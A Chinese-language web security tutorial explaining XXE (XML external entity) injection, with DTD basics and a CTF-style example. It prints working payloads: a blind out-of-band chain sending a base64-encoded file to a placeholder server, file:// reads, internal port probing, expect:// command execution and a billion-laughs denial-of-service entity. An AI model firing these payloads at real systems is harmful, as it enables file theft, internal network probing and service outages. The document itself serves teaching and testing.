XML實(shí)體注入深入理解
引文
在平常的WEB滲透中,我們經(jīng)常會(huì)遇到SQL注入、文件上傳、SSRF、CSRF等一系列的漏洞,但XXE漏洞在座的讀者們了解過嗎。今天帶大家了解一下這個(gè)危險(xiǎn)程度同樣很高的XXE漏洞。
簡(jiǎn)介
Xml外部實(shí)體注入漏洞(XML External Entity Injection)簡(jiǎn)稱XXE,XXE漏洞發(fā)生在應(yīng)用程序解析XML輸入時(shí),沒有禁止外部實(shí)體的加載,導(dǎo)致可以構(gòu)造加載惡意外部文件,進(jìn)而通過惡意外部文件對(duì)服務(wù)器進(jìn)行攻擊。
基礎(chǔ)知識(shí)
在了解XXE漏洞前,我們先看看什么是XML實(shí)體。XML根據(jù)簡(jiǎn)單概括為如下:可擴(kuò)展標(biāo)記語言 (Extensible Markup Language, XML) ,標(biāo)準(zhǔn)通用標(biāo)記語言的子集,可以用來標(biāo)記數(shù)據(jù)、定義數(shù)據(jù)類型,是一種允許用戶對(duì)自己的標(biāo)記語言進(jìn)行定義的源語言。 XML是標(biāo)準(zhǔn)通用標(biāo)記語言 可擴(kuò)展性良好,內(nèi)容與形式分離,遵循嚴(yán)格的語法要求,保值性良好等優(yōu)點(diǎn)。
可能單看文字讀者們不太好理解,下面給大家簡(jiǎn)單舉個(gè)例子:
上圖就是一個(gè)簡(jiǎn)單的XML實(shí)體,用代碼顯示可以展示為:
<bookstore> <book category="COOKING"> <title lang="en">Everyday Italian</title> <author>Giada De Laurentiis</author> <year>2005</year> <price>30.00</price> </book> <book category="CHILDREN"> <title lang="en">Harry Potter</title> <author>J K. Rowling</author> <year>2005</year> <price>29.99</price> </book> <book category="WEB"> <title lang="en">Learning XML</title> <author>Erik T. Ray</author> <year>2003</year> <price>39.95</price> </book> </bookstore>
其中根的元素是 bookstore,book中 元素有子元素:author、title、year、price。
DTD
DTD(文檔類型定義)可以合法的定義xml標(biāo)簽,DTD 可被成行地聲明于 XML 文檔中,也可作為一個(gè)外部引用,接下來帶大家詳細(xì)看一下它的內(nèi)部結(jié)構(gòu)以更好的去理解。
內(nèi)部DOCTYPE聲明
<?xml version="1.0"?> <!DOCTYPE note[ <!--定義此文檔是 note 類型的文檔--> <!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個(gè)元素--> <!ELEMENT X (#PCDATA)> <!ELEMENT I (#PCDATA)> <!ELEMENT N (#PCDATA)> <!ELEMENT O (#PCDATA)> ]> <note> <to>I</to> <from>A</from> <head>M</head> <body>XINO!</body> </note>
外部DOCTYPE聲明
<!DOCTYPE 根元素 SYSTEM "URL">
XML實(shí)體注入
了解了上面的基礎(chǔ)知識(shí)后,我們便可以進(jìn)一步學(xué)習(xí)XXE漏洞。
我們要想利用,首先要判斷服務(wù)器會(huì)不會(huì)解析XML實(shí)體,所以開始時(shí)我們先上傳一個(gè)測(cè)試文件來判斷服務(wù)器是否能解析該類型,如果解析了,我們才可以繼續(xù)利用這個(gè)漏洞。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY name "hello"> ]> <root>&name;</root>
判斷服務(wù)器是否解析之后我們可以看看是否支持外部實(shí)體調(diào)用:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY name SYSTEM "vps/hack.dtd"> ]> <root>&name;</root>
判斷完之后就可以做進(jìn)一步測(cè)試了,比如:
無回顯XXE(BLIND XXE)
我們將獲取的數(shù)據(jù)發(fā)送到外部的http服務(wù)器上,后面查看http服務(wù)器即可查看到提取的數(shù)據(jù)內(nèi)容。
舉一個(gè)最簡(jiǎn)單的例子:
#test.xml <!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/x.php?1=%file;'" > %all;
對(duì)應(yīng)的payload可以寫作為:
<!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/test.xml"> %remote; %send; ]>
首先對(duì) remote 引用的目的是將外部文件 test.xml 引入到文中,檢測(cè)到 send 實(shí)體,在節(jié)點(diǎn)中引用 send,就可以成功實(shí)現(xiàn)數(shù)據(jù)轉(zhuǎn)發(fā)。也就實(shí)現(xiàn)了數(shù)據(jù)的外帶。
讀取任意文件
這個(gè)也是XXE比較常用的方法,我們引入(或編輯)一個(gè)DOCTYPE元素,該元素定義一個(gè)包含文件路徑的外部實(shí)體。
探測(cè)內(nèi)網(wǎng)端口
我們利用XXE也可以進(jìn)行內(nèi)網(wǎng)探測(cè)端口(類似于SSRF),以用來進(jìn)一步對(duì)機(jī)器照成攻擊:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "http://127.0.0.1:80">]> <root>
命令執(zhí)行
這個(gè)還是比較少見的,因?yàn)槊顖?zhí)行的條件比較苛刻,要求靶機(jī)php裝有expect擴(kuò)展,但這個(gè)擴(kuò)展是默認(rèn)不安裝的,所以比較難利用。
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <root> <name>&xxe;</name> </root>
dos拒絕服務(wù)
這個(gè)不是很了解,在網(wǎng)上瀏覽時(shí)注意到的,原理大概是利用迭代參數(shù)實(shí)體進(jìn)行拒絕服務(wù),讓服務(wù)器的解析變得非常非常慢。
<?xml version="1.0"?> <!DOCTYPE xml [ <!ENTITY xxe1 "xxe"> <!ENTITY xxe2 "&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;"> <!ENTITY xxe3 "&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;"> <!ENTITY xxe4 "&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;"> <!ENTITY xxe5 "&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;"> <!ENTITY xxe6 "&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;"> ]> <test>&xxe6;</test>
例題
[PHP]XXE
打開是一個(gè)登錄界面:
在源碼處會(huì)發(fā)現(xiàn):
<button id="go" onclick="XMLFunction()">GO!</button>
可以判斷會(huì)解析XML文件,嘗試構(gòu)造payload直接讀取文件:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root[ <!ENTITY admin SYSTEM "file:///flag"> ]> <root> <username>&admin;</username> <password>xino</password> </root>
抓包構(gòu)造惡意數(shù)據(jù)然后發(fā)包:
結(jié)語
今天比較詳細(xì)的講了XXE漏洞的原理以及應(yīng)用方法,有興趣的小伙伴可以自己去搭建靶機(jī)來進(jìn)行測(cè)試,以上就是XML實(shí)體注入深入理解的詳細(xì)內(nèi)容,更多關(guān)于XML實(shí)體注入的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
xpath簡(jiǎn)介_動(dòng)力節(jié)點(diǎn)Java學(xué)院整理
xpath就是選擇XML文件中節(jié)點(diǎn)的方法。下面通過本文給大家分享xpath的相關(guān)知識(shí),感興趣的朋友一起學(xué)習(xí)吧2017-08-08氣象 XML 數(shù)據(jù)源應(yīng)用程序開發(fā)指南-內(nèi)容目錄
氣象 XML 數(shù)據(jù)源應(yīng)用程序開發(fā)指南-內(nèi)容目錄...2007-02-02powerbuilder(pb)中 xml的應(yīng)用一例
powerbuilder中的數(shù)據(jù)窗口真是好的不得了,工作基本上都是圍繞它做,很高效,這幾天項(xiàng)目上需要用導(dǎo)出xml文件,就用pb9(xml導(dǎo)出導(dǎo)入功能是從powerbuilder9.0增加的功能)做了一個(gè)demo以驗(yàn)證可行性2009-06-06